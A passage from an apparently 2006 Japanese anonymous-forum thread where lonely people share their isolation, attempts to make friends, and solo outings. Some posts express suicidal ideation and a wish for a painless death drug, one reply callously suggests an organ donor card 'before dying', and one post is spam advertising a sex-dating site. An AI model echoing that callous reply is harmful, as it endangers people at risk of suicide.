それももちろん含まれることはあるけど。

土日にもし暇があれば、たとえば地域のボランティアにでも顔を出してみてはどうだろうか。
市で配ってる広報誌なんかにも載ってるよ。
っていうのはおれが以前考えていたことなんだけど...
もちろん社会に貢献とかそんなことがメインの目的ではなくw
同じ年代、少し歳の離れた人間が集まっていて、
淋しさも紛れるし、運がよければ学校内にいるような人種以外の人に会えるかもしれない。
結果的にキミの若い労働力も無駄にならない。

602 :マジレスさん:2006/03/06(月) 12:12:23 ID:38QqkiQz
内容:
1人は「遊び」には不利かも。カラオケや麻雀は複数で愉しむでしょ?
でも人間関係がわずらわしいから友達も作りたくない。
ヒエラルヒーやら築かれて劣等感感じるのも厭だし




603 :マジレスさん:2006/03/06(月) 12:41:27 ID:mViebGNi
あまーい!カラオケくらい1人でいけるようになれよ

ちなみに私はいく

604 :マジレスさん:2006/03/07(火) 11:46:12 ID:2kgGM+qX
一人鍋は経験有り良いですね。 オレも一人焼肉挑戦したいです。お一人様ですか? キツイ。

605 :マジレスさん:2006/03/07(火) 14:16:43 ID:NkbASWvQ
鍋オフ、前スレでやっていたけど
どうだったの?
いきたかったけど
そのご、誰も報告がない

606 :マジレスさん:2006/03/07(火) 15:33:45 ID:2kgGM+qX
自分の葬儀に誰も来ないと思うので 独り葬式も確定。

607 :マジレスさん:2006/03/07(火) 15:39:13 ID:qJLIyPDG
俺一人で海外旅行行くけど悪い?

608 :マジレスさん:2006/03/07(火) 15:42:55 ID:2kgGM+qX
独り鍋は一人前から売ってるので良い。好きに食べられて初心者でも安心だと思います。単身者の多い場所なら一人鍋のメニューも有ります。

609 :マジレスさん:2006/03/07(火) 16:03:42 ID:kkKZMuvj
最近の出会い系で一番良いのは『たやすくセフレが作れる』ってこと。
http://qaswqa.web.fc2.com/
↑たとえばこういうトコとか。
Hに積極的な女のコと遊びたいなら、まずはいいサイト選びが大事。

610 :マジレスさん:2006/03/07(火) 16:11:26 ID:2kgGM+qX
死んだ後の事だからしょうがないが独り葬式の事考えると寒い。

611 :齋藤:2006/03/07(火) 16:39:20 ID:pAIFf86e
結婚するかな。

612 :マジレスさん:2006/03/07(火) 16:58:50 ID:NkbASWvQ
おめでとう
友達いなくても結婚できることを実例で証明してクレ

613 :マジレスさん:2006/03/07(火) 17:42:44 ID:UJC4zjJI
友達いなくても結婚相手がいるんならまったく問題なしじゃまいか

614 :齋藤:2006/03/07(火) 18:02:09 ID:Q02LVNkx
>>611
結婚おめ。
あなたも齋藤さんなのね…コテ変えよう。

615 :マジレスさん:2006/03/07(火) 18:07:02 ID:NkbASWvQ
???

616 :マジレスさん:2006/03/07(火) 18:14:41 ID:/3/fiiOC
趣味に走れば孤独もある程度は癒される
だが趣味仲間が居るとまた楽しいし知識も増える
親友と呼べる者は小学校中学校からの友達だね、高校以降の友達は遊び仲間止まりだ。
個人的な意見です。
君らは深く考え過ぎだと思うね。

617 :マジレスさん:2006/03/07(火) 18:25:37 ID:NkbASWvQ
わかた

ニューハーフの『斎藤』

今日きた結婚する?『斎藤』

『もう一人の斎藤』

がいるわけね。

618 :マジレスさん:2006/03/07(火) 23:13:13 ID:3nwZOjgi
結婚したい。
でも相手がいない
恋愛をしても一生を共にできる人とは思えない。
結婚願望が強くて理想見すぎなんだ私。
だから齋藤さんが羨ましいし、幸せになって

619 :マジレスさん:2006/03/07(火) 23:32:00 ID:wA9EBKWW
結婚が向いてないのにうっかり結婚すると数十年間地獄を味わうことになるよ

620 :ルカ ◆IOAAALucaM :2006/03/07(火) 23:35:12 ID:j52eTDDs
>>618
ネタ抜きにお見合いさせてください。
ちゃんと仕事します。
いつも気にかけてもてなします。

家に帰って一人はもうウンザリだ・・・もういらないや一人ばかりの時間は

621 :ルカ ◆IOAAALucaM :2006/03/07(火) 23:39:00 ID:j52eTDDs
精神状態が激悪い。少しよくなったと思ったらまた悪化した(´(・)`)

起きていると絶望だらけでろくなことにならないと一度ベッドに入ったのに、
ぜんぜん寝付けない。
起きてスレをのぞいたら、結婚が近い人がいて・・・ああもはや別世界だ
ごめんなさい
妬みじゃありません。
どうしてこんなに苦しいんだ... もう孤独はいらない

622 :ルカ ◆IOAAALucaM :2006/03/08(水) 00:01:12 ID:jhQ6eC/l
どんどん人生の残り時間が減っていく。
この先、スレ■その13まで行ってまだ孤独から解放されていなかったらどうすんだ。

友達がいなくて淋しいという人がいた。でも自分の家から遠くには行きたくないと。
話して少しでもおたがいに有意義な希望を見出せたらと思って、遠くまで出向いたら、
きついグラサンかけた、住む世界の違うただのチンピラだった。
おまけに別にチンピラも呼ばれた。二人で会話が弾んでいるのを横目で見ていた。
話そうとするにも話が残念ながら合わないで帰ってきた。

オフで親しくなった人がいた。何度も一緒に遊びに行った。気も合った。
そのうち二人ともかなり遠くに引越ししてしまった。
会えないじゃん。彼らにまったく罪はないけど、孤独にまた戻った。

習い事にも通った。飲み会で自分のぶざまな体験談をしたら、珍しいことに
面白い奴だなと持ち上げられた。
ぜひ今度遊ぼうよというので連絡先を教えた。その後、一度も連絡は来ない。
嘘つき。

なんだよ、要するに努力なんかしても友達なんかできないじゃん。
もういい加減に疲れたよ。いつまでこんなこと続けたら闇から抜け出せるんだよ。
二十代のほとんどすべてが孤独だったよ。
こんなみじめな生活、二十台のうちに決別しようと計画していたのに、
三十路になったら自分の思い通りの人生を軌道に乗せようと思っていたのに、
もう二十代も終わっちまうよ。

友達できたらいいねって励ます奴(おれもか)、
悠長なこと言ってないで友達になってやれよ

623 :ルカ ◆IOAAALucaM :2006/03/08(水) 00:12:42 ID:jhQ6eC/l
友達だろうがなんだろうが、呼び方はどうでもいい、
孤独感が満たされなければ痛みが消えない。

努力すればいつかは報われるのかもしれないが、
報われないこともあるってことだろ。
希望がもてない人間はどうやって生きていけばいいんですか。
希望をもてってそれはただのトートロジーなんですが。

ケガをすれば、銃で撃たれれば救急車が助けにきてくれるのに、
孤独な人間にはどうして救済の手が伸べられないのですか。
孤独に苦しんでとうとう胃から腸から血が出て止まらなくても、
まだダメですか。
お前の甘えだと言って切り捨てないでくれませんか。

産まれたくなかったね。実に産まれたくなかったね。心の底からそう確信します。
妊娠して、胎児がいずれ生きていくのに損な性格になるとわかったら、
ただちに堕胎するとよいと思います。その赤ん坊がいまこうしてお願いしているのですから。
産婦人科の医者の連中は、ぜひそういう技術を開発してくれませんかね。

624 :マジレスさん:2006/03/08(水) 00:22:28 ID:FxfOjVqb
いつも一人で外出して時々虚しい気分になるけどさ…いざ仲間とつるんで遊んだりすると神経使って疲れるんだよな…結局一人のほうが落ち着くんだよなこれが。

625 :ルカ ◆IOAAALucaM :2006/03/08(水) 00:28:22 ID:jhQ6eC/l
眠れません。

もうこうなったらスレ汚しだ。

こんな気色悪い人間に、人が寄ってくるわけないじゃない。
んなこた最初からわかってますよだ。
こんな性格だから、産まれないほうが自分のため、社会のため。
最近は、もうあきらめかけた気分です。

以前は自殺も考えましたが、いまはさしあたって自殺の予定はございません。
ただしもし痛みが完全になく死ねる薬があったら、
飲まないでも手元に置いておきたい気分になるかもしれません。

死ぬ勇気もなく、生きている以上、ついつい友達が欲しい、アレが欲しいこれが苦しいと
欲が出てしまいそのせいでかえって苦しみが増えるのはどうしたらいいんでしょうか。
ただでさえ苦痛ばかりだというのに。

もし今後も孤独が続くなら、さっさと人生が終わってほしい。

孤独が人間を磨くんだよとか、綺麗事は(゚听)イラネ
どんなものかも知らないくせに。

626 :マジレスさん:2006/03/08(水) 00:41:28 ID:7hb0olXV
まあ落ち着け。

627 :駄目彦:2006/03/08(水) 00:48:04 ID:YEEEINSC
彼女といてもネガティブさや器の小ささや癇癪持ちな所を指摘され、別れられるか、自分からビビって離れてしまうパターンが多い。

 友達といても、ゲーム・スポーツ苦手、感情の浮き沈み激しい俺は変な奴として見られる。  

ネットで友達作ろうにも、無趣味な俺はどうやって友達を作ったらいいか…。
市ぬべきかも俺



628 :マジレスさん:2006/03/08(水) 00:50:28 ID:7/0jepE4
死ぬ前に、臓器移植提供カードを書きなさい。
一度でも人の役に立てるから。

629 :ルカ ◆IOAAALucaM :2006/03/08(水) 00:59:37 ID:jhQ6eC/l
落ち着きたいです。

でも、気がどうにかなってしまいそうです。

当たり前だけど、リアルの知り合いなんて、こんな話できない。
誰も理解してくれない。むしろ本性を知られたくないからやや演技しているのかもしれん。

自分をよく知る人間なんか誰もいない。
かといって、ここに核心的なことも書けない。うめき声をもらすことしかできない。

>>627
ネガティブ上等だ。根拠薄弱なポジティブシンキングより、よっぽど正直で好きだ。

自分のダメな部分を人に指摘されるのは辛いな。
自分を変えるための助言という意味では嬉しいし、おれみたいな人間こそ
知ったほうがいいんだろうが。

つか、自分のダメな部分なんかとっくに知ってる。直すのが難しいから困ってる...

630 :ルカ ◆IOAAALucaM :2006/03/08(水) 01:01:28 ID:jhQ6eC/l
>>628
わかったよ。
おれが死んだら好き勝手に使ってもらう。
死んだあとのことなんかどうでもいい。
いまの苦しみから早く解放されたい。

631 :マジレスさん:2006/03/08(水) 01:18:00 ID:7hb0olXV
自分の不幸は自分自身で受け入れるしかない。
欲望を取り除くのは難しい。

632 :マジレスさん:2006/03/08(水) 01:26:47 ID:7hb0olXV
ということは、欲望が叶えられないことに絶望するしか
ないのかもしれんなあ。「なぜだ」「どうしてだ」と
苦しみ続けるしかないのかもしれん。

633 :マジレスさん:2006/03/08(水) 01:49:44 ID:dUYEoOOU
人は一人では生きていけません。
金八先生なんて信じたくないです。
愛はどうすれば手に入る?

634 :マジレスさん:2006/03/08(水) 02:30:30 ID:DYQ5BZHe
俺は寂しがりやで何時も誰かと一緒にいたかった。でも一緒にいたからといって面白い話ができるわけでなく、ノリも悪く、みんな離れていった。

俺は今独りだ。
イジメられていたあの頃に戻っただけだといい聞かせている。

でも寂しいよ。

635 :ルカ ◆IOAAALucaM :2006/03/08(水) 02:41:08 ID:jhQ6eC/l
不本意だが受け入れるしかないよ
それ以外の選択肢がないじゃん
わかってるけど、おれは、もっと別の人生を歩みたかったよ。

友達に恵まれる人間、孤独にさいなまれて苦しむ人間を分けるのって、
結局、どの親のもとに産まれるかだよな・・・

北朝鮮に住むどこかの両親のもとに産まれるよりはマシなんだろうけどさ、
他のものと比べてお前はまだマシだっていう仕方で納得しようにも、苦痛の量は少しも減らない

636 :ルカ ◆IOAAALucaM :2006/03/08(水) 02:44:52 ID:jhQ6eC/l
>>633
具体的なものに置き換えてはっきり示されないと、愛情なんて信じられない。
愛情なんか受けずに育ったよおれは。
それが愛情だというなら、屈折した愛情だったな。

キモチワルイこと書くが、愛情に飢えてるよ、おれは。
人に見捨てられるのが怖い。
それを防ぐためならどんな卑屈なことでもおかまいなくする。
いや相手にもよるけど。

637 :ルカ ◆IOAAALucaM :2006/03/08(水) 02:54:19 ID:jhQ6eC/l
自分の人生がみじめで、書いてるうちに涙が出てきた。
これ以上何すればいいんだよ。
頼むから普通の生活送りたい。

精神科に行って、私は人格障害なんですか?
もしそうならはっきり言ってくださいって話したら怒鳴られた。

「医師の私が人格障害だと言ったらキミは人格障害なのか?
人格障害じゃないと診断を下したらキミはまともな人間なのか?」

禅問答してんじゃねえよ!!

「キミは何もおかしくない、ただ自信がないだけです。自信をつけなさい。以上」

だったらこんなにおかしなことにならねえよ。
社外で、まともな社会生活送れないからどうにかしてくれ。
この忌々しい性格を何とかしてくれ。

638 :マジレスさん:2006/03/08(水) 02:54:43 ID:7hb0olXV
寂しさを紛らわすための何かが、必要なのではと。
自己満足できる何かが。読書に浸るとか。人間は、友達の有無に関係なく
寂しさを感じてしまう生き物だと思うね。
寂しさを感じるときに自分はやっぱり人間なんだと思うね。
愛を求めても手に入らないものかもしれない。
だから人間は苦悩するのかもしれない。
はたして愛って必要なのかもよくわからない。

639 :ルカ ◆IOAAALucaM :2006/03/08(水) 02:55:07 ID:jhQ6eC/l
>>634
ノリが悪くても、人のいい人間はいるのにな

いじめられていたころに戻ったって、いま現在いじめられてるのか?

それは大変なんじゃないのか

640 :ルカ ◆IOAAALucaM :2006/03/08(水) 03:02:09 ID:jhQ6eC/l
>>638
レスありがとう。っておれじゃないかもな。

淋しいよ。

読書もウンザリするほどした。
部屋は本であふれかえっているけど、
精神安定剤としての効果も多少はあるよ。
でも根本的な解決になるのだろうか?

口答えしてごめんなさい。
あなたは友達いるんですか?
いないとしたら、淋しくないですか?

明朝、目が覚めたら、もしかしたら苦悩から解放されてますように...
おやすみなさい

641 :マジレスさん:2006/03/08(水) 03:48:19 ID:7hb0olXV
>>640俺のひとりごとにレスしてくれてありがたい。
友人といえるのかはわからないが、ぼちぼち会っている人間
ならいる。

普段はほとんど他人と話をしないので、寂しくも
なるのだが、虚無感のほうが強い。虚しすぎて、寂しいと
いうことですらどうでもよくなる。ただ虚しい。
余りに暇で虚しいので、1週間ほど断食してみたりする。
そんな俺を突き動かす唯一の誇りが、今まで生きてこられたということ。
それしかない。それ以外は俺には、余りに荷が重ので捨ててきた。
寂しさを紛らわすには、おすすめとしては映画がいいのではないかと。
精神を安定させるには、音楽がいいのではないかと。

642 ::2006/03/08(水) 10:32:00 ID:VPLItscA
友達や彼女欲しかったら何らかのアクション起こすしかないな〜。泣き言言ったり過去を後悔したりしてもしょうがないしな。こればっかりは他人が助けてくれるわけでもない。

643 ::2006/03/08(水) 11:11:33 ID:BT++9Bz8
俺、孤独だから友達がすごく欲しくなるんだけど、できたらできたで一緒に遊んだりするとすごく疲れるのでまた一人に戻ったりする。で、また友達が欲しくなるんだけどこの矛盾ループをどうしたらいいだろうか?

644 :マジレスさん:2006/03/08(水) 11:16:51 ID:7zX2TV0X
>>643
関係浅い友達作れば?
メル友でもいーし。

645 :塞翁が馬:2006/03/08(水) 12:01:04 ID:wIBkG5Jh
>>642>>643
なんでIDが違うの????

646 :マジレスさん:2006/03/08(水) 12:12:25 ID:UZaKcEoV
一人旅(海外)すると必ず 連れ(友達) が出来る。
後で連絡は取り合ったりは別にしない。
地元では親友と呼べる相手が2人いるが、会っても
お互い生きてて良かったよね ぐらいで話もし尽くしてしまっている。

647 :伊達屋酔狂.:2006/03/08(水) 23:10:12 ID:v9oMLLCr
>>644

>関係が浅い友達

友達とは関係が深い関係をいうのではないか?

関係が浅いのは知り合いというのだと思う。

知り合いを沢山作れば、
そう中から深い関係を持てる友人が出来ると昔、思った。
でも、知り合いが沢山いると、無駄に干渉される時間が増えて、疲れた。
だから、連絡する間隔を長くするようにしたが、
今度は、会う度に、恋愛や仕事などの経過説明を求められた。
結果が出てないと、説明するのも手間になる。
やっぱり孤独が肌に合うみたいだ。

でも孤独だと自分を磨かなくなってしまう。
それも恐い

苺が美味しかった。


648 :伊達屋酔狂:2006/03/09(木) 00:55:22 ID:cBeBn6gQ
>>646

親友が、しかも2人もいるなんて羨ましい限りだ。

話が尽くしてしまっていても、心が通じているなら、無言でもいいと思う。
気心の知れた奴と落ち着いた場で静かに酒を飲みたい。
喋るだけ、騒ぐだけが付き合いではない

それにしても丸井の店員はどうして、あんなにウザイのだろうか?
感心する。


649 :りー ◆Lee/SnLm8M :2006/03/09(木) 01:04:31 ID:s6sHz0KI
いろいろがんばったがダメだった。
また最初からやり直しだ。

俺は誰も恨んではいない。
人間も好きだし、自分が生きているこの世界も好きだ。
それでもダメなのか。

650 :伊達屋酔狂.:2006/03/09(木) 01:42:49 ID:cBeBn6gQ
>>649
>>りーさん

たとえ失敗しても
誰かを恨むことで責任転換することもせず、
またも自分が直面している現実を肯定できるだけ、
りーさんはすごいよ。

自分は自己憎悪への流れを他人を僻む事で打ち消している最悪な人間だ。

651 :マジレスさん:2006/03/09(木) 03:18:16 ID:s6sHz0KI
>>650
酔狂さん、ありがとう。
俺は、ただ人と仲良くしたいだけなんです。
他人に対しては疑うよりも前にまず心を開いてきたつもりだし、
今だって笑えと言われれば笑うし、頑張れと言われれば頑張ります。

だけど、気がついたら周りに誰もいない。
これは一体何なんでしょう。

友達に囲まれた多くの人は、俺が努力した以上に多くの、そして過酷な条件を
血のにじむような努力をしてクリアしているとでも言うのでしょうか。
俺は、まだダメなんですか。

>自分は自己憎悪への流れを他人を僻む事で打ち消している最悪な人間だ。

そのほうがよっぽど人間としてリアルだと思いますよ。
誰にでも弱いところがありますから。きっと大丈夫です。

俺は自分自身に対して人間としての理想を求めすぎなのだろうか。

652 :伊達屋酔狂.:2006/03/09(木) 10:27:58 ID:cBeBn6gQ
>>651

伊達屋もふと気がついたら、本間、誰も残ってなかったということがあります。付き合いはいつも一過性で心から信頼できる人はいません。

一方、周囲は何も努力もせずに人間関係をうまくこなし、
そして、それが仕事や人生設計にも良い影響をもたらしている事実を受けとめることが出来ません。
よく努力は素晴らしいと言われますが
効果が出ない努力は本間、虚しいだけです。

伊達屋も己に対する人としの理想が高すぎ、
それが却って生きにくい要因になっているのではないか?と考えることがあります。
無駄な自意識のせいで失敗を恐れてしまいます。
>>650さんの理想とは具体的にどのようなものですか?
お聞かせください

653 :伊達屋酔狂.:2006/03/09(木) 10:31:42 ID:cBeBn6gQ
すみません。

>>651

>>650×

R22を読んでたら鬱になった。


654 :齋藤(ニューハーフ):2006/03/09(木) 11:39:16 ID:NH3fBysi
>>650 伊達屋酔狂.さん
はじめまして。
あなたのお名前は「伊達屋酔狂じゃねぇ」じゃないですよね???
そのあと「伊達屋酔狂じゃねぇ生きるのさ」とかだったりしませんよね?
勘違いだったら大変申し訳ありません。

スルーして下さい。

655 :齋藤(ニューハーフ):2006/03/09(木) 11:48:52 ID:NH3fBysi
>>651 りーさん
お久しぶりです。お元気ですか。

りーさんも孤独なんですね。
りーさんの書き込みを読んで色々と考えされました。
私は人と仲良くしたいと思ったことがなかったような気がします。
私が男として生きていたら、りーさんみたいな人と友達になりたい
と思います。

>俺は自分自身に対して人間としての理想を求めすぎなのだろうか。
理想とはどのようなことなのでしょうか。


656 :伊達屋酔狂.:2006/03/09(木) 12:00:56 ID:cBeBn6gQ
>>654
>>齋藤さん

話題のニューハーフの齋藤さんにお声をかけて頂けるなど、
伊達屋、本間に感激致しました。

さて、「伊達屋酔狂じゃねぇ」というハンドルを使ったことも、もしかして以前あるかもしれませんね。
何かの奇遇でしょうか?
何分、伊達屋は記憶力が悪いもので、
これも年のせいでしょうか?
細く長く生きるのは本間に疲れますね。
若返ろうと思い、いちょう葉エキスを摂取しております。

657 :齋藤(ニューハーフ):2006/03/09(木) 12:51:43 ID:NH3fBysi
>>656 伊達屋酔狂.さん

どうも、ニューハーフの齋藤です。
齋藤さんが何名かいるみたいなので名前変えたいのですが
いい名前が思いつきません。

確かに生きるのは生半可なことじゃありませんね。
私はごくごく平凡に生きているつもりなのだけど
油断するといつも出口のない迷路を彷徨っています。
私も孤独に耐えられなくなってきています。

伊達屋酔狂.さんのハンドルネームは私の勘違いだったようです。
申し訳ありません。でもこれも何かの縁でしょう。
あなたの名前、すごく好きです。
とてつもなく魅かれます。
いちょう葉エキスの効果はいかがでしょうか。
若返り作戦、応援しています。



658 :伊達屋酔狂.:2006/03/09(木) 13:13:38 ID:cBeBn6gQ
>>657
>>ニューハーフの齋藤さん

同じ名前の人がいると紛らわしいですよね。
伊達屋も同じ名字を逆さに読んだHNの人が既にここに居るので、
これからは伊達屋酔狂.でいきます。
でも伊達屋酔狂さんって名前の方、他にも既にいらっしゃったんですね。
自分は名前の末尾にホクロがついているので、それで区別してくださいね。
ニューハーフじゃあない方の齋藤さんも幸せな結婚生活が送れるといいですね!
一緒に応援しましょうね。

生きるのは難しいですね。
平凡であればあるほど、一見、楽そうですが
袋小路にぶつかってしまうような気がします。
でも奇抜な生き方も周囲から偏見の目で見られてしまい苦しいですね。
本間苦しい事だらけなので、昔、色んなイケないお薬に手を出してしまい、胃潰瘍になりました。
これから、正露丸を買いに行ってきます。

659 :りー ◆Lee/SnLm8M :2006/03/09(木) 20:56:06 ID:uANkyAD3
>>652
ちょうどね、言われちゃったんですよ。
「努力してないくせに人に甘えてばかり」みたいなことを。
こんな模範的優等生的なフレーズをここまでストレートに言うか!?と、
ショックを通り越して感動さえ覚えたものです。

つらいときにつらいって言って、何がいけないんでしょうね。
周りの人は「あぁその気持ちよくわかるぅ」とか言ってもらえるのに
俺は絶対に「つらい」と口にしてはいけないらしいですw

660 :りー ◆Lee/SnLm8M :2006/03/09(木) 21:15:40 ID:uANkyAD3
>>655
どうもです。
俺はこのスレを"卒業"することでみんなの思いに報いようと
がんばってきたんだけど、結局出戻りになっちゃったよw
俺は斎藤さんはずっと女性だと思ってたけど
別にそんなことはどうでもよくて、友達になる気マンマンですよ。
だって斎藤さんは斎藤さんだもん。

で、酔狂さんからも質問されたんだけど、
俺にとっての理想は、お互いに高め合える人間関係を作ることだった。
そのためにいろいろなことを受け入れて、心を開いて、
自分から何かを発信できる人間であろうと努めてきたつもりだった。

だけど、だめだった。
「完璧な人間などこの世にいない」と人は言うけれど、
じゃあ不完全ゆえに受け入れてもらえない自分は一体なんなんだ!

…なぁんて思ったり思わなかったりしちゃうんだよね〜゚∀゚)

661 ::2006/03/09(木) 22:44:02 ID:HQkWObSx
>>660
りーさん話題豊富な会話されるので素晴らしいと思ってます。
受け入れないのでは無くフィーリングが合わなかっただけですよ。

りーさんの言う理想的な友達はきっといるはず。

662 :霧原:2006/03/10(金) 01:15:43 ID:Kjx0Eb79
はじめまして。僕も友達いなくて休みの日一人でブラブラしてます。仲間にいれてもらえませんか?

663 :マジレスさん:2006/03/10(金) 07:21:59 ID:oIKVqMhF
亮司?

664 :霧原:2006/03/10(金) 08:40:01 ID:Kjx0Eb79
↑違いますよ。はじめてカキコミしました。みなさん仲間に入れて欲しいです!

665 :マジレスさん:2006/03/10(金) 09:08:46 ID:iE303Ehj
でもあれだよ

友達やら恋人がいても
たまに孤独になるものさ
人間なんて

666 :マジレスさん:2006/03/10(金) 16:03:04 ID:e1/keikO
なんかコテハンばっかりでちょっとな。みんな同じ状況なんだろうけど
ここでも疎外感を感じる

667 ::2006/03/10(金) 16:23:01 ID:WnFYWsSI
疎外感を乗り越えて飛込んでおいで。

668 :齋藤(ニューハーフ):2006/03/10(金) 16:38:38 ID:EFAMfS5r
>>658 伊達屋酔狂.さん
正露丸て臭いですよね。


669 :マジレスさん:2006/03/10(金) 17:00:39 ID:Qw4Y0rjc
みんなはひとりでなんでもできるんだな。すごいな。
俺は友達いなくて、おまけにあがり性だからひとりで食事や買い物にも行けやしない。

670 ::2006/03/10(金) 17:04:15 ID:4wJV1W6w
一人で静岡まで来ちゃったよ。相変わらず山ばっかで薄暗い県だ。

671 :齋藤(ニューハーフ):2006/03/10(金) 17:39:23 ID:EFAMfS5r
>>660 りーさん
ほんと?友達になる気マンマンですか?
じゃーこんどお茶でもしましょうw

最近、友達がたくさんいる人と知り合いになりました。
その人と話しているだけでも楽しいです。
その人を見ていて思ったのですが、友達ができる人というのは
人に好かれる要素を沢山持っているのだろうと思います。
人との出会いがある場所に身を置いていると同時に、
自分と人の距離の取り方がうまく、
相手も自分自身も疲れない程度に関係を保てることも大事みたいです。

私は寂しいから友達が欲しいとか、
友達がいないと人生がうまくいかないから
友達づくりに一生懸命になっていました。
だけど他人からしたら、そんな自分のことしか考えていないような
人とは友達になりたいわけないですよね。
りーさんの「純粋に人と仲良くしたい」というのは
私が求める理想の友達像なのかもしれません。




 


672 :伊達屋酔狂.:2006/03/10(金) 18:26:38 ID:ukfpcT0t
>>670
>>悠さん

伊達屋も今週、静岡に行ってきました。
苺狩りが楽しかったです。
でも静岡はひたすら横に長いです。
伊達屋は昔、18切符で東京から名古屋まで各停で乗り続けたことがあったけど
そのとき、静岡県に入ってから抜けるまで六時間位かかった。
電車に乗り続けていると永遠に静岡県が続くような気がして鬱になったよ。
友達いない人生もこれからずっと続くのかな?
伊達屋も終着駅にいつかは辿り着きたいよ。


673 ::2006/03/10(金) 18:40:36 ID:wTlld3ET
>>672
伊達屋酔狂さん

苺狩りいいですね〜行きたいな〜。それじゃ今日から俺と友達になりましょうか?
俺は趣味も性格も伊達屋さんには合わない人間かもしれないが伊達屋さんには誠意を持って接しますよ。

674 ::2006/03/10(金) 18:45:47 ID:wTlld3ET
訳あって今週から本当に孤独になりました。会社以外では誰とも話さない接しない恐怖を初めて感じた。

孤独に耐えられる人間なんていないのだとわかった。

675 :齋藤(ニューハーフ):2006/03/10(金) 20:17:13 ID:oIKVqMhF
>>674
その孤独に負けないで。
孤独に耐えられないなら、話せる相手や、話せる場所を見つけてほしい。
頑張って。


676 :ルカ ◆IOAAALucaM :2006/03/10(金) 20:50:10 ID:UQYZu8qH
ふぅ。みんな希望に向かっている様子なのに申し訳ない。
他の人に対しては心から応援したい。
一人ひとり、目標は少しずつ違うんだろうけど、ぜひ達成して欲しいと思う。

親しくしてくれる人は非常に少ないながらもいるが、
仕事や、地理的な制約上の問題もあって、満足した生活を送れてます楽しいな〜ってわけではない。
数年前の底辺からは少しは這い上がれたなとも思う。
これはこれで継続してがんばりたい。

それとは別に、おれは根本的な問題が解決されていない。
ほかの友達いない人とはそこが決定的に劣っている、違っているように感じる。
人格の中の負の部分が、接する相手によってぐんぐん引き出されてしまってつらい。
相手がいちばん迷惑をこうむるし、自分も苦しい。

そういう人間になった理由はだいたいわかっているが、原因となったものを
今さら追及しても、ちっとも改善には向かわない。だから、今を起点に将来に向かって
直していくしかないんだと思う。

そのために今まで何度も反省もしたし、繰り返さないための方法も考え抜いたし、
忘れないように常時メモも携帯していた。
けどダメだった。
悪魔が住んでいる。早く追い払いたい。
いくら人に優しくしても、信用されるように配慮しても、こいつが居座っている限り、
おれの人生は一生孤独のままだ。

相当な時間とエネルギーと金と努力を投入しなければ、悪魔に負けてしまう。

近々、病院の門を叩こうと思う。

677 :ルカ ◆IOAAALucaM :2006/03/10(金) 20:52:06 ID:UQYZu8qH
× 接する相手によって
○ 接する相手によっては、

678 :マジレスさん:2006/03/11(土) 09:22:34 ID:xTQNAGUS
ここはいま

一人で静岡にいくのがブームになってるんか?w

679 :マジレスさん:2006/03/11(土) 11:13:42 ID:O0Gex5vM
俺も最近一人で三島行ったwwwwww

680 :伊達屋酔狂.:2006/03/11(土) 13:06:36 ID:7/1xdMSi
伊達屋.はサカーサポーターなので、よく一人で静岡に観戦に行きます。


681 :伊達屋酔狂.:2006/03/11(土) 13:55:46 ID:7/1xdMSi
>>673
>>悠さん

こんな伊達屋.と友達になってくれるのですか!?
伊達屋.、至極の感激であります。

しかし、伊達屋.は知り合ってから一年くらい付き合って、
相手をよく知ってからではないと友達にはなれないと考えます。
だから悠さんと親しくなれるようにこのスレで仲良くやりたいです。
でも、悠さんの誠意は有り難く頂戴致します。

孤独を感じられた時は是非このスレにいらして下さい。
ここにはいつも愉快な仲間達が待っております。
後楽園ではなく、このスレで僕と一緒!!!wwwww

682 :マジレスさん:2006/03/11(土) 15:59:12 ID:ifYwUp5Z
>648
おいらも丸井はいけねーよ
店員がうざすぎて死にそうだ
後楽園で僕と一緒 って10年ぶり位に聞いたフレーズだ

683 :マジレスさん:2006/03/11(土) 16:00:23 ID:ifYwUp5Z
ちなsみにこんなおいらは静岡在住。
いいとこだよ静岡。
伊達さんはジュビロがすきなんですか?
友達になりましょう

684 :伊達屋酔狂.:2006/03/11(土) 17:44:36 ID:7/1xdMSi
>682

マルイはセールは人大杉だし、
通常時は店員が一人客を鴨にしてくるから
伊達屋.は滅多にいかないです…
前、マルイに集団でいくオフなんてあったなぁ。
そこまでしてマルイの服は欲しくないけどw

因みに伊達屋.はジュビロサポではないんだ、ごめんね。


685 :マジレスさん:2006/03/11(土) 18:35:56 ID:1qlgaZfN

丸井店員に丸井のカード入会すすめられてまぁただならいいかと思ってると書く直前にいきなりお金かかるって言われた。
さらに職場に在籍確認しますねとかいって(カード入会するには必要らしい)
こっちが了承してもいないのにいきなり電話しだして職場に○○さん(俺の名前)って働いてますか?と確認の電話までしやがった!
今だにあのくそ女丸井店員には頭きてる。


686 :伊達屋酔狂.:2006/03/11(土) 18:58:32 ID:7/1xdMSi
>>685

年会費は千円だからいいけど、身分証明が嫌だよね。
伊達屋.は大学生なんだが、
国内旅行派なのでパスポート持ってないし、またお金ないので免許もない。
だから身分証明に大学の学生証明書を出した。
そうしたら、今時、免許ない上に海外旅行行ったことないの?プププと言われた。
温厚な伊達屋.もこれには切れそうになったよ。
店員の価値観で決めないで欲しい。

687 :マジレスさん:2006/03/11(土) 21:30:43 ID:MjNh1Bxg
マルイはね、五反田TOCとかサンシャインとかで開催される
セールイベントに行くのがおすすめだよ。
ブランドや商品に関係なく、フロア内で自由に選べるし、
初日に気合入れて行けばけっこういいモノも手に入る。
そのかわり混雑がすごいけど、雑魚キャラだと思えば気にならない。

688 :ゆりこ:2006/03/11(土) 22:35:35 ID:V8QjK2Yg
お久しぶりです!ルカさん大丈夫ですか?気持ちは理解できる気がするよ。お辛いでしょうね。友達がいるほど毎日快適ですから。他に目標作ってまずそれをがんばってみるとか。

689 :ゆりこ:2006/03/11(土) 22:37:59 ID:V8QjK2Yg
ネットだし、吐き出しちゃえばいいんじゃないかなあ。秘密は毒だと思う。きっと、目指す方向とか、何かが平均とズレてるんじゃないかな。私は目標が定まったら全てよい方に回りはじめたよ。

690 :マジレスさん:2006/03/11(土) 22:41:44 ID:V8QjK2Yg
きっと、歯車が悪いほう、悪いほうに回っちゃってるだけだよ。私は、辛い気持ち、すごくよくわかると思ってる。でもやっぱり自分が変わらないとだと思うよ。周りをかえるより自分が変わる方が簡単なくらいだし。

691 :マジレスさん:2006/03/11(土) 22:42:07 ID:mkJiH4KA
友達の彼氏がそう。
何をするにも一人で行動するから、友達がたまにキレてるw
私が見たところ、その彼氏は単に恐ろしくマイペースなだけで、
けして友達を無視してる訳じゃないんだけどね。


692 :ゆりこ:2006/03/11(土) 22:45:12 ID:V8QjK2Yg
